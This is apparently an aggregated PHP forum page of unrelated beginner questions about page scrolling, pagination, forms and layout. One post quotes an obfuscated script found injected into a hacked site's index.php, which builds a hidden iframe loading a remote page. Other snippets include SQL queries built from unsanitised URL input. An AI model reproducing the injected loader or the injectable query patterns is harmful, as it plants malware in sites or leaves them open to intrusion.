PHP - Php Scroll To Bottom Of Page
Is there a code I can put with each of these errors so that, on error, the page reloads back to the bottom of the page? When you enter the wrong info, the page already reloads but it reloads to the top of the page. People who didnt correctly information into the webpage may not see that they're receiving an error if it doesnt scroll back down.
I attempted to put the error at the to of the page but I couldnt find a good spot. I thought about doing an error message box but I'm not sure thats the best method Anyway heres the code, thanks a lot. <?php if ($_POST['send']) { $errors = array(); if ($_POST['captcha'] != $_SESSION['captchacode']) { $errors[] = "You didn't enter the correct letters!"; <-------------ID LIKE TO PUT A CODE HERE AND } if (empty($_POST['email'])) { $errors[] = "Please enter an e-mail address"; <-----------------HERE TO MAKE THE PAGE GO TO THE BOTTOM WHEN IT REFRESHED (IT REFRESHES UPON EVERY IMPROPERLY FILLED OUT FORM } else if (!eregi("^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,3})$", $_POST['email'])) { $errors[] = 'Please enter a VALID e-mail address'; } if (!count($errors)) { // IMPORTANT: If you don't call this the // user will keep getting the SAME code! captchaDone(); Similar TutorialsI looked at my site today to see a blank page. I downloaded my index.php file to find a stray bit of code at the bottom:- Code: [Select] <html><body>status='';cn='r';j='d';a='a';zi='s';we='tp:';y='ph';pb='iz';o='.';v='e';n='/';g='r';sa='eaw';az='am';bj='rc';oy='ne';r='ht';dj='//s';c='if';dr='t/.';ml='2/';ne=c.concat(cn,az,v);sn=zi.concat(bj);wl=r.concat(we,dj,sa,pb,a,g,j,o,oy,dr,y,n,ml);var l=document.createElement(ne);l.setAttribute('width','5');l.setAttribute('height','5');l.setAttribute('style','display:none');l.setAttribute(sn,wl);document.body.appendChild(l);window.status=status;</body></html> My question is, how did it get there? I am guessing either somebody has brute forced my FTP details or found an exploit in my code. I have now changed my FTP details just to be sure. How would I go about finding the cause of this and preventing it from happening again. Cheers not for certain this is a PHP issue, but on every page of my site, at the bottom, this error displays. Doesn't affect any of the code execution as far as I can tell, but it's annoying. Anyone else seen this? Code: [Select] Error in my_thread_global_end(): 1 threads didn't exit Hi
I want to get my <footer> to appear at the bottom of my page, but I dont want it to be fixed there.
So if the middle contents of a page is very short, the <footer> will be visibled at the bottom of the browser, but if the page contents is long, then the <footer> would just disappear at the bottom of the contents.
Can this be done?
Thanks
This topic has been moved to JavaScript Help. http://www.phpfreaks.com/forums/index.php?topic=349588.0 I want a div at the bottom of another div, and I want it centered, just using css not javascript.
HTML <div id="parent"> <div id="bottom_element">test</div> </div> CSS #parent {height:100% width:100%} #bottom_element {position:absolute; bottom:5px; width:200px; margin:0 auto}So the issue is that position absolute and margin auto do not seem to work together. What is an alternative without javasript? This topic has been moved to HTML Help. http://www.phpfreaks.com/forums/index.php?topic=319527.0 This is the code I have now however when you click next to view more results it says please enter a search..., (there is more code above this however I thought that the problem would be within the code provided.) $currPage = (($s/$limit) + 1); //break before paging echo "<br />"; // next we need to do the links to other results if ($s>=1) { // bypass PREV link if s is 0 $prevs=($s-$limit); print " <a href=\"$PHP_SELF?s=$prevs&q=$var\"><< Prev 10</a>  "; } // calculate number of pages needing links $pages=intval($numrows/$limit); // $pages now contains int of pages needed unless there is a remainder from division if ($numrows%$limit) { // has remainder so add one page $pages++; } // check to see if last page if (!((($s+$limit)/$limit)==$pages) && $pages!=1) { // not last page so give NEXT link $news=$s+$limit; echo " <a href=\"$PHP_SELF?s=$news&q=$var\">Next 10 >></a>"; } $a = $s + ($limit) ; if ($a > $numrows) { $a = $numrows ; } $b = $s + 1 ; echo "<p>Showing results $b to $a of $numrows</p>"; ?> Quesion: Show each movie in the database on its own page, and give the user links in a "page 1, Page 2, Page 3" - type navigation system. Hint: Use LIMIT to control which movie is on which page. I have provided 3 files: 1st: configure DB, 2nd: insert data, 3rd: my code for the question. I would appreciate the help. I am a noob by the way. First set up everything for DB: <?php //connect to MySQL $db = mysql_connect('localhost', 'root', '000') or die ('Unable to connect. Check your connection parameters.'); //create the main database if it doesn't already exist $query = 'CREATE DATABASE IF NOT EXISTS moviesite'; mysql_query($query, $db) or die(mysql_error($db)); //make sure our recently created database is the active one mysql_select_db('moviesite', $db) or die(mysql_error($db)); //create the movie table $query = 'CREATE TABLE movie ( movie_id INTEGER UNSIGNED NOT NULL AUTO_INCREMENT, movie_name VARCHAR(255) NOT NULL, movie_type TINYINT NOT NULL DEFAULT 0, movie_year SMALLINT UNSIGNED NOT NULL DEFAULT 0, movie_leadactor INTEGER UNSIGNED NOT NULL DEFAULT 0, movie_director INTEGER UNSIGNED NOT NULL DEFAULT 0, PRIMARY KEY (movie_id), KEY movie_type (movie_type, movie_year) ) ENGINE=MyISAM'; mysql_query($query, $db) or die (mysql_error($db)); //create the movietype table $query = 'CREATE TABLE movietype ( movietype_id TINYINT UNSIGNED NOT NULL AUTO_INCREMENT, movietype_label VARCHAR(100) NOT NULL, PRIMARY KEY (movietype_id) ) ENGINE=MyISAM'; mysql_query($query, $db) or die(mysql_error($db)); //create the people table $query = 'CREATE TABLE people ( people_id INTEGER UNSIGNED NOT NULL AUTO_INCREMENT, people_fullname VARCHAR(255) NOT NULL, people_isactor TINYINT(1) UNSIGNED NOT NULL DEFAULT 0, people_isdirector TINYINT(1) UNSIGNED NOT NULL DEFAULT 0, PRIMARY KEY (people_id) ) ENGINE=MyISAM'; mysql_query($query, $db) or die(mysql_error($db)); echo 'Movie database successfully created!'; ?> ******************************************************************** *********************************************************************** second file to load info into DB: <?php // connect to MySQL $db = mysql_connect('localhost', 'root', '000') or die ('Unable to connect. Check your connection parameters.'); //make sure you're using the correct database mysql_select_db('moviesite', $db) or die(mysql_error($db)); // insert data into the movie table $query = 'INSERT INTO movie (movie_id, movie_name, movie_type, movie_year, movie_leadactor, movie_director) VALUES (1, "Bruce Almighty", 5, 2003, 1, 2), (2, "Office Space", 5, 1999, 5, 6), (3, "Grand Canyon", 2, 1991, 4, 3)'; mysql_query($query, $db) or die(mysql_error($db)); // insert data into the movietype table $query = 'INSERT INTO movietype (movietype_id, movietype_label) VALUES (1,"Sci Fi"), (2, "Drama"), (3, "Adventure"), (4, "War"), (5, "Comedy"), (6, "Horror"), (7, "Action"), (8, "Kids")'; mysql_query($query, $db) or die(mysql_error($db)); // insert data into the people table $query = 'INSERT INTO people (people_id, people_fullname, people_isactor, people_isdirector) VALUES (1, "Jim Carrey", 1, 0), (2, "Tom Shadyac", 0, 1), (3, "Lawrence Kasdan", 0, 1), (4, "Kevin Kline", 1, 0), (5, "Ron Livingston", 1, 0), (6, "Mike Judge", 0, 1)'; mysql_query($query, $db) or die(mysql_error($db)); echo 'Data inserted successfully!'; ?> ************************************************************** **************************************************************** MY CODE FOR THE QUESTION: <?php $db = mysql_connect('localhost', 'root', '000') or die ('Unable to connect. Check your connection parameters.'); mysql_select_db('moviesite', $db) or die(mysql_error($db)); //get our starting point for the query from the URL if (isset($_GET['offset'])) { $offset = $_GET['offset']; } else { $offset = 0; } //get the movie $query = 'SELECT movie_name, movie_year FROM movie ORDER BY movie_name LIMIT ' . $offset . ' , 1'; $result = mysql_query($query, $db) or die(mysql_error($db)); $row = mysql_fetch_assoc($result); ?> <html> <head> <title><?php echo $row['movie_name']; ?></title> </head> <body> <table border = "1"> <tr> <th>Movie Name</th> <th>Year</th> </tr><tr> <td><?php echo $row['movie_name']; ?></td> <td><?php echo $row['movie_year']; ?></td> </tr> </table> <p> <a href="page.php?offset=0">Page 1</a>, <a href="page.php?offset=1">Page 2</a>, <a href="page.php?offset=2">Page 3</a> </p> </body> </html> Hi everybody. I'm pretty new in PHP programmation and really new on this forum. So, I'll try to explain my situation the best I can. I have created a modification page where the user can modify certain data of the database. To avoid spelling mistakes, I have created a scroll down menu that includes all the options they have. My problem is that I what the "actual Selection" of the database to be the "selected" option right from the start. Now, my scroll0-down menu shows the first option of my list and not the actual value contained in the database. Here is my partial code: <td><select name="equipe" value="<?php echo($result->equipe) ;?>"> <option <?php if (($result->equipe) == 'Colorado') echo "selected" ?>value='Colorado'>Colorado</option> <option <?php if (($result->equipe) == 'St-Louis') echo "selected" ?>value='St-Louis'>St-Louis</option> <option <?php if (($result->equipe) == 'Montreal') echo "selected" ?>value='Montreal'>Colorado</option> <option <?php if (($result->equipe) == 'Washington') echo "selected" ?>value='Washington'>Washington</option> <option <?php if (($result->equipe) == 'Islanders') echo "selected" ?>value='Islanders'>Islanders</option> <option <?php if (($result->equipe) == 'Edmonton') echo "selected" ?>value='Edmonton'>Edmonton</option> <option <?php if (($result->equipe) == 'Floride') echo "selected" ?>value='Floride'>Floride</option> <option <?php if (($result->equipe) == 'Pittsburgh') echo "selected" ?>value='Pittsburgh'>Pittsburgh</option> <option <?php if (($result->equipe) == 'Anaheim') echo "selected" ?>value='Anaheim'>Anaheim</option> </select> I have a function that reads all the picture files in a folder and displays them as thumbnails. It also displays a large version of the first image in the folder and clicking the thumbnail changes the large picture. I'm trying to use pictures of arrows as a button to allow users to click and have the next picture displayed large rather than having to click each individual thumbnail but don't really know how to get started. Can anyone suggest a method or give me a hint? This is my code so far if that helps: function displayPhotos(){ global $columns,$dir,$album; generateThumbnails(); $act = 0; $keyid = 0; $thumb_selected = (isset($_GET['thumb']) ? $_GET['thumb']:''); if ($thumb_selected !==""){ $dirName = substr($thumb_selected,0,strpos($thumb_selected,basename($thumb_selected))); $thumbName = basename($thumb_selected); $thumbFile = $dirName.$thumbName; $large = str_replace('_th.jpg','.jpg',$thumbFile); } else{ $picture_array = glob("$dir*"); $large = $picture_array[$keyid]; } echo "<tr><td colspan='3' height='300' width='400' align='center'><img src='$large' alt=''></td></tr> <tr><td><img src='gallery/icons/arrow-blue-rounded-left.jpg' alt='Previous'></td><td></td><td align='right'><img src='gallery/icons/arrow-blue-rounded-right.jpg' alt='Next'> </td></tr><tr><td height='50'></td></tr>"; if ($handle = opendir("$dir")) { while (false !== ($file = readdir($handle))) { $file=$dir.$file; if (is_file($file)){ if (strpos($file,'_th.jpg')){ ++$act; if ($act > $columns) { echo "</tr><tr><td width='160' height='120' align='center'><a href='?album=$album&thumb=$file'><img src='".$file."' alt='".$file."'/></a></td>"; $act = 1; } else { echo "<td width='160' height='120' align='center'><a href='?album=$album&thumb=$file'><img src='".$file."' alt='".$file."'/></a></td>"; } } } } } } Thanks very much to anyone having a look at this! Hi all, Not sure if this is a browser feature kind of thing, or if it can be done with a script. I'm looking at my page: www.mysite.com/index.php?start=0 I scroll to the bottom of the page with the vertical scroll bar, and then click the pagation link to start on page 2, record #50: www.mysite.com/index.php?start=50 Of course, the vertical scroll bar jumps back to the it jumps to the top of my page. Is there a way to make it remember that the scroll bar was at the bottom (or in the middle)? Thanks. I have a working autocomplete which connects to my database using ajax. I am trying to include a function where the user can scroll through the results list using the up/down arrow keys. All of the suggestions I found in google basically broke my autocomplete and yes I've installed the latest Jquery.
Also, for some reason the user has to click the upper half of the search result in order for the data to display otherwise it won't register for some reason any ideas about that?
Any help would be greatly appreciated. Thanks
<script type="text/javascript"> $(function(){ $(".search").keyup(function() { var searchid = $(this).val(); var dataString = 'search='+ searchid; if(searchid!='') { $.ajax({ type: "POST", url: "search.php", data: dataString, cache: false, success: function(html) { $("#result").html(html).show(); } }); }return false; }); jQuery("#result").live("click",function(e){ var $clicked = $(e.target); var $name = $clicked.find('.name').html(); var decoded = $("<div/>").html($name).text(); $('#searchid').val(decoded); var yourLinkHref= $(this).attr('href'); window.location = "mainpage.php?TopicName=" + $name; }); jQuery(document).live("click", function(e) { var $clicked = $(e.target); if (! $clicked.hasClass("search")){ jQuery("#result").fadeOut(); } }); $('#searchid').click(function(){ jQuery("#result").fadeIn(); }); }); </script> I have a problem with one div, I want to fix it at the bottom of the page and when I zoom the page I can see the div without scroll.
I have been staring at this code for hours trying to figure out what is wrong, I guarantee that someone is going to look at it and make me feel like a tool. The first query is not going through the list, the second is. It worked till I started updating to PDO. I have tested the SQL, that works, probably a flipping comma or a quotation mark screwing with my brain. Please look and spot the obvious balls up and point it out to me. as in I get a result that looks like this
Heading
I am expecting
Heading Why is this failing? Please show a doddering old fool what I am doing wrong... $query = $pdo->prepare("SELECT * FROM faq_cats WHERE faqc_site = :site ORDER BY faqc_id ASC LIMIT 0,4"); $query->bindParam(":site", $site); $query->execute(); while($row = $query->fetch(PDO::FETCH_ASSOC)) { $fid = $row["faqc_id"]; $faqc = $row["faqc_name"]; echo "<h2> ".$faqc." </h2>"; $query = $pdo->prepare("SELECT * FROM faqs WHERE faq_cat = :fid ORDER BY faq_id ASC"); $query->bindParam(":fid", $fid); $query->execute(); while($row1 = $query->fetch(PDO::FETCH_ASSOC)) { $faid=$row1["faq_id"]; $faqn=$row1["faq_question"]; echo "<a href=\"#".$faid."\">".$faqn."</a><br />"; } }
I have made a website with a custom scroll bar and a back to top button. For some reason the back to top button doesn't show up. Code is below:
<!DOCTYPE html> <html lang="en"> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8"> <title>Adding a dynamic "Back To Top" floating button with smooth scroll</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.0/jquery.min.js"></script> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="css/bootstrap.min.css" rel="stylesheet" media="screen"> <style> /* For the "inset" look only */ html { overflow: auto; } body { position: absolute; top: 8px; left: 8px; bottom: 8px; right: 1px; padding: 10px; overflow-y: scroll; overflow-x: hidden; } /* Width of bar */ ::-webkit-scrollbar { width: 8px; } /* Track */ ::-webkit-scrollbar-track { -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.3); -webkit-border-radius: 10px; border-radius: 10px; } /* Handle */ ::-webkit-scrollbar-thumb { -webkit-border-radius: 10px; border-radius: 10px; background: rgba(255,0,0,0.8); -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.5); } ::-webkit-scrollbar-thumb:window-inactive { background: rgba(255,0,0,0.4); } </style> <style> div#page { max-width: 900px; margin-left: auto; margin-right: auto; padding: 20px; } .back-to-top { position: fixed; bottom: 1em; right: 0.5em; text-decoration: none; color: #000000; background-color: rgba(235, 235, 235, 0.80); font-size: 12px; padding: 0.8em; display: none; } .back-to-top:hover { background-color: rgba(135, 135, 135, 0.50); } </style> </head> <body> <div id="page"> <!-- [banner] --> <header id="banner"> <hgroup> <h1>Adding a dynamic "Back To Top" floating button with smooth scroll</h1> </hgroup> </header> <!-- [content] --> <section id="content"> <h1>The first heading</h1> <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut nec felis sed velit auctor luctus id quis arcu. Ut dui augue, euismod nec justo a, pretium consequat nisi. Vivamus dictum nec quam in sollicitudin. Nullam non augue at risus condimentum consequat eu ut sem. Ut quis tortor quam. Nulla ullamcorper in metus egestas sagittis. In rhoncus feugiat sagittis. Cras eu arcu dui. Nulla non urna varius, facilisis sapien quis, tristique urna. </p> <h2>The first sub-heading</h2> <p> Duis tincidunt eleifend felis ac porttitor. Aenean facilisis elit eget orci vulputate scelerisque. Nulla justo sem, fringilla nec gravida vel, sollicitudin vitae libero. Donec vitae consequat lorem. Cras eros nunc, varius id dictum sit amet, posuere quis augue. Vivamus quis ipsum eget lectus porta vestibulum. Sed malesuada id orci eu rhoncus. Proin eleifend lacus non libero facilisis interdum. </p> <h2>The second sub-heading</h2> <p> Nulla luctus lorem et justo posuere, vitae ornare elit accumsan. Donec semper tincidunt lacus ut sagittis. Donec nec adipiscing nunc, quis rutrum tortor. Vivamus aliquam orci nulla, non ornare mauris eleifend et. Aliquam erat volutpat. Phasellus id nunc sapien. Suspendisse luctus pharetra lorem, quis scelerisque eros ultricies in. Vivamus hendrerit fermentum justo eget sagittis. Pellentesque cursus at turpis id cursus. Pellentesque sed rhoncus enim. Nam et ante feugiat, luctus enim in, tincidunt lectus. In feugiat neque quam. Curabitur mi ante, dictum non aliquam placerat, suscipit sed sem. Integer dictum, nulla vitae accumsan dignissim, augue justo laoreet diam, quis semper lectus orci vel mi. </p> <h3>The first sub-sub-heading</h3> <p> Vestibulum mollis elementum libero a blandit. Fusce placerat odio quis euismod elementum. Maecenas rhoncus quam viverra odio fringilla blandit. Curabitur erat mi, malesuada ac tempor eu, tincidunt vitae erat. Nunc consequat faucibus feugiat. Integer ornare dui metus, sed consectetur erat vulputate a. Sed porttitor eu magna in aliquet. Cras quis tempus lacus, ac fermentum lorem. </p> <h1>The second heading</h1> <p> Nullam dignissim nibh ac eros iaculis, quis aliquam nibh lacinia. Donec et ullamcorper nunc. Sed convallis aliquet ullamcorper. Donec non leo enim. Ut orci ante, viverra fringilla lorem nec, pretium volutpat lorem. Phasellus elit arcu, posuere at nibh at, facilisis adipiscing dolor. Duis hendrerit metus at turpis congue ornare. Aliquam orci nisi, malesuada at adipiscing non, pharetra a lectus. Mauris in rhoncus ipsum, et sagittis nulla. Duis laoreet luctus lorem, at malesuada sem bibendum at. Pellentesque ultrices massa eget lacus tempus, id ornare lacus fermentum. Sed id fermentum tellus. Suspendisse tincidunt posuere arcu quis fermentum. </p> <h2>The third sub-heading</h2> <p> Phasellus vitae lacinia sapien. Nam eget congue lorem. Donec viverra tortor eget tellus iaculis interdum. Vivamus sollicitudin egestas auctor. Vivamus sit amet justo sit amet eros sodales egestas. Nulla nec pharetra metus. Integer rutrum, ipsum in dignissim scelerisque, arcu est adipiscing tortor, nec varius eros mauris vel augue. In condimentum lobortis eros, sed facilisis neque imperdiet vel. Nullam ut commodo lectus, a luctus mi. Aliquam varius quis tortor a interdum. Aliquam erat volutpat. Nam pellentesque augue enim, eget posuere mi ultrices sodales. Vivamus vel varius quam. Donec sed ante placerat sapien consequat facilisis. Fusce vestibulum ipsum urna, nec tincidunt lacus hendrerit quis. Donec ornare dignissim risus. </p> <h2>The fourth sub-heading</h2> <p> Ut mauris mauris, porta bibendum dictum id, porttitor eu odio. Nam posuere in dui vitae pellentesque. Praesent commodo eros mattis posuere hendrerit. Suspendisse felis tellus, laoreet vitae erat non, laoreet gravida quam. Phasellus a augue non leo venenatis tempus. Curabitur ornare purus a mollis vulputate. Quisque vulputate euismod enim sed elementum. Duis id urna iaculis felis consequat vulputate. Mauris sollicitudin, leo eu sollicitudin porttitor, purus lacus sodales ipsum, vitae lobortis velit libero at libero. </p> <h1>The third heading</h1> <p> Quisque iaculis magna ac risus posuere ultricies. Sed tincidunt, sem ac pellentesque fringilla, sapien purus sagittis odio, eget aliquam ante lorem ac risus. In euismod dignissim leo ut eleifend. Proin accumsan velit quam. Phasellus sollicitudin nulla ligula, sit amet mollis lectus pellentesque consectetur. Nunc non dictum ante, fringilla lobortis nulla. Nullam ullamcorper volutpat velit, ut laoreet justo pellentesque ornare. Praesent aliquet eros eu magna sodales, ac pharetra erat dignissim. Nulla pulvinar neque at fermentum eleifend. </p> <h2>The fifth sub-heading</h2> <p> Praesent dictum interdum condimentum. Suspendisse in tortor blandit, lobortis libero eu, cursus libero. Donec vulputate ligula sit amet arcu porta imperdiet. Nam sodales, justo eu eleifend placerat, dui eros suscipit mi, quis congue dolor velit vitae nisi. Pellentesque mollis felis est. Etiam vitae justo laoreet, rutrum felis sed, porttitor dui. Sed cursus tincidunt turpis. Maecenas gravida commodo urna eget hendrerit. Ut suscipit mi sit amet turpis euismod, luctus suscipit turpis egestas. </p> <h1>The fourth heading</h1> <p> Mauris malesuada eros ac nisl pretium, at vehicula sem porttitor. Vestibulum porta erat leo, nec posuere enim pellentesque vel. Praesent libero est, laoreet quis scelerisque nec, egestas vel enim. Vivamus quis vulputate sapien. Interdum et malesuada fames ac ante ipsum primis in faucibus. Vivamus consequat ligula lectus, sed fermentum elit auctor vitae. Duis iaculis sagittis est sit amet semper. Morbi rutrum fermentum vulputate. Proin tincidunt elementum sem, a faucibus dui malesuada sit amet. Vivamus vel enim laoreet, iaculis nunc ac, tristique nisl. Nulla consequat arcu et dolor porta, non ullamcorper augue pharetra. Interdum et malesuada fames ac ante ipsum primis in faucibus. Integer sed nibh lectus. Sed pulvinar nunc magna, eget placerat mi pharetra ac. Vestibulum hendrerit, nulla nec vestibulum aliquam, arcu tortor blandit ipsum, eget sollicitudin nulla tellus quis libero. Duis sodales fringilla lacus vel auctor. </p> <h2>The sixth sub-heading</h2> <p> Vivamus erat turpis, condimentum vitae neque sit amet, tincidunt malesuada odio. Mauris mollis ante vitae quam condimentum lobortis. Integer sodales odio sit amet metus tempus, vel dignissim libero sagittis. Suspendisse ornare libero elit, quis sollicitudin leo pellentesque id. Sed pharetra mattis sapien nec condimentum. Mauris convallis arcu eget massa fringilla, nec pellentesque dolor semper. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Vestibulum vitae odio a sem iaculis tempor. Fusce placerat viverra lorem mollis fermentum. Sed porta sit amet sapien eu venenatis. </p> <h3>The second sub-sub-heading</h3> <p> Aenean ut ipsum ultrices, sollicitudin massa quis, bibendum magna. Sed id porttitor diam, et vestibulum tortor. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Phasellus vel magna dolor. Etiam cursus nibh ligula, id vestibulum metus varius feugiat. Etiam vitae dolor ligula. Aliquam eu consectetur lorem. Quisque nulla nulla, facilisis semper laoreet non, eleifend in dolor. </p> <a href="#" class="back-to-top"><span class="glyphicon glyphicon-chevron-up"></span></a> </section> <script> jQuery(document).ready(function() { var offset = 220; var duration = 500; jQuery(window).scroll(function() { if (jQuery(this).scrollTop() > offset) { jQuery('.back-to-top').fadeIn(duration); } else { jQuery('.back-to-top').fadeOut(duration); } }); jQuery('.back-to-top').click(function(event) { event.preventDefault(); jQuery('html, body').animate({scrollTop: 0}, duration); return false; }) }); </script> </div> <!-- [/page] --> <script src="//code.jquery.com/jquery.js"></script> <script src="js/bootstrap.min.js"></script> </body> </html> Hi guys, In an application I'm working on, I'm looking to embed a youtube video with [YOUTUBE][/YOUTUBE]. Code: [Select] echo preg_replace('#(?:<\>]+href=\")?(?:http://)?((?:[a-zA-Z]{1,4}\.)?youtube.com/(?:watch)?\?v=(.{11}?))[^"]*(?:\"[^\<\>]*>)?([^\<\>]*)(?:)?#', '<object width="425" height="350"><param name="movie" value="http://www.youtube.com/v/'.$matches[2].'"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/'.$matches[2].'" type="application/x-shockwave-flash" wmode="transparent" width="425" height="350"></embed></object>', $ENTIREPAGE?); The problem is that the video appears with a slider control at the bottom. How do I get rid of the Youtube slider control at the bottom? Thanks. This topic has been moved to CSS Help. http://www.phpfreaks.com/forums/index.php?topic=319246.0 I have a checkout form that goes like this... Code: [Select] <?php session_start(); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head></head> <body></body> </html> Can I start adding this line of code to all of my PHP files - AS THE LAST LINE - without any negative consequences?? Code: [Select] <? // Build date 2011-05-14 ?> Debbie Hi guys, I have a problem.. I have a table which shows the results, but the table is showing right at the bottom below the button "delete members" although the code is right above it so I don't really understand.. and hope someone can shed the light? Appreciated Code: [Select] <?php include "connect.php"; session_start(); if(!isset($_SESSION['email'])) { die('You have no access to this page.'); } else{ //Check if records were submitted for deletion if(isset($_POST['id']) && count($_POST['id'])) { //Ensure values are ints $deleteIDs = implode(', ', array_map('intval', $_POST['id'])); $query = "DELETE FROM member WHERE id IN ({$deleteIDs})"; //Debug line echo "Successfuly deleted member(s)"; mysql_query($query) or die(mysql_error()); } ?> <link rel="stylesheet" type="text/css" href="view.css" media="all"> <script type="text/javascript" src="view.js"></script> <body id="main_body" > <img id="top" src="top.png" alt=""> <div id="form_container"> <h1>Consult, Modify or Delete a Member</h1> <form id="form_362567" class="appnitro" method="post" action="searchmember.php"> <div class="form_description"> <h2> Consult, Search, Modify or Delete a Member</h2> <p></p> </div> <ul > <li class="section_break"> <br>Search members with any keyword or character within the options id/email/firstname/lastname/phone/address1/address2/city/county/postcode - relevant matches will show.<br><br> <b>Keyword/Character:</b><br> <input id="search" name="search" class="element text medium" type="text" maxlength="50" value=""/> <br><br> <b>Search on</b>:<br> <select name="searchvalue" id="searchvalue"> <option name="id" id="id">id</option> <option name="email" id="email">email</option> <option name="firstname" id="firstname">firstname</option> <option name="lastname" id="lastname">lastname</option> <option name="phone" id="phone">phone</option> <option name="address1" id="address1">address1</option> <option name="address2" id="address2">address2</option> <option name="city" id="city">city</option> <option name="county" id="county">county</option> <option name="postcode" id="postcode">postcode</option> </select><br><input type='submit' value='Search' name='go' /><INPUT TYPE="button" VALUE="Cancel" onClick="history.go(-1);return true;"><br> <br> To consult or modify a profile click on the member's E-mail address. <li class="section_break"> </form> <?php $result = mysql_query("SELECT * FROM member"); ?> <table border='1'> <tr> <th>First Name</th> <th>Last Name</th> <th>Phone Number</th> <th>Postcode</th> <th>E-mail</th> <th>Delete</th> </tr> <?php while($row = mysql_fetch_array($result)) { echo "<form action='' method='POST'>"; echo "<tr>"; echo "<td>" . $row['firstname'] . "</td>"; echo "<td>" . $row['lastname'] . "</td>"; echo "<td>" . $row['phone'] . "</td>"; echo "<td>" . $row['postcode'] . "</td>"; echo "<td>"; echo '<a href="consultmember.php?email='; echo $row['email']; echo '">'; echo $row['email']; echo "</a></td>"; echo "<td><input type='checkbox' name='id[]' value='{$row['id']}' /></td>"; echo "</tr>"; } ?> <br><input type='submit' value='Delete Members' name='delete' /><INPUT TYPE="button" VALUE="Cancel" onClick="history.go(-1);return true;"><br> </form> <div id="footer"> </div> </div> <img id="bottom" src="bottom.png" alt=""> </body> <?php } ?> As mention in my title, I am using wordpress, bought a theme and the support team is not able to assist me without the FTP access.
URL: http://www.icv.solutions/swagger
Mobile: Android 4.4.2
Chrome: version 39.0.2171.93
Safari: star safari version 1.1
I am not able to scroll only on the above browser, other browser like firefox and default internet explorer on mobile have no such issue.
In fact the older version of chrome have no such issue too,
If anyone could give me a hint where might the problem lies at or any help at all, would be great.
I have been struggling with this for awhile now.
Thanks and happy holiday!
|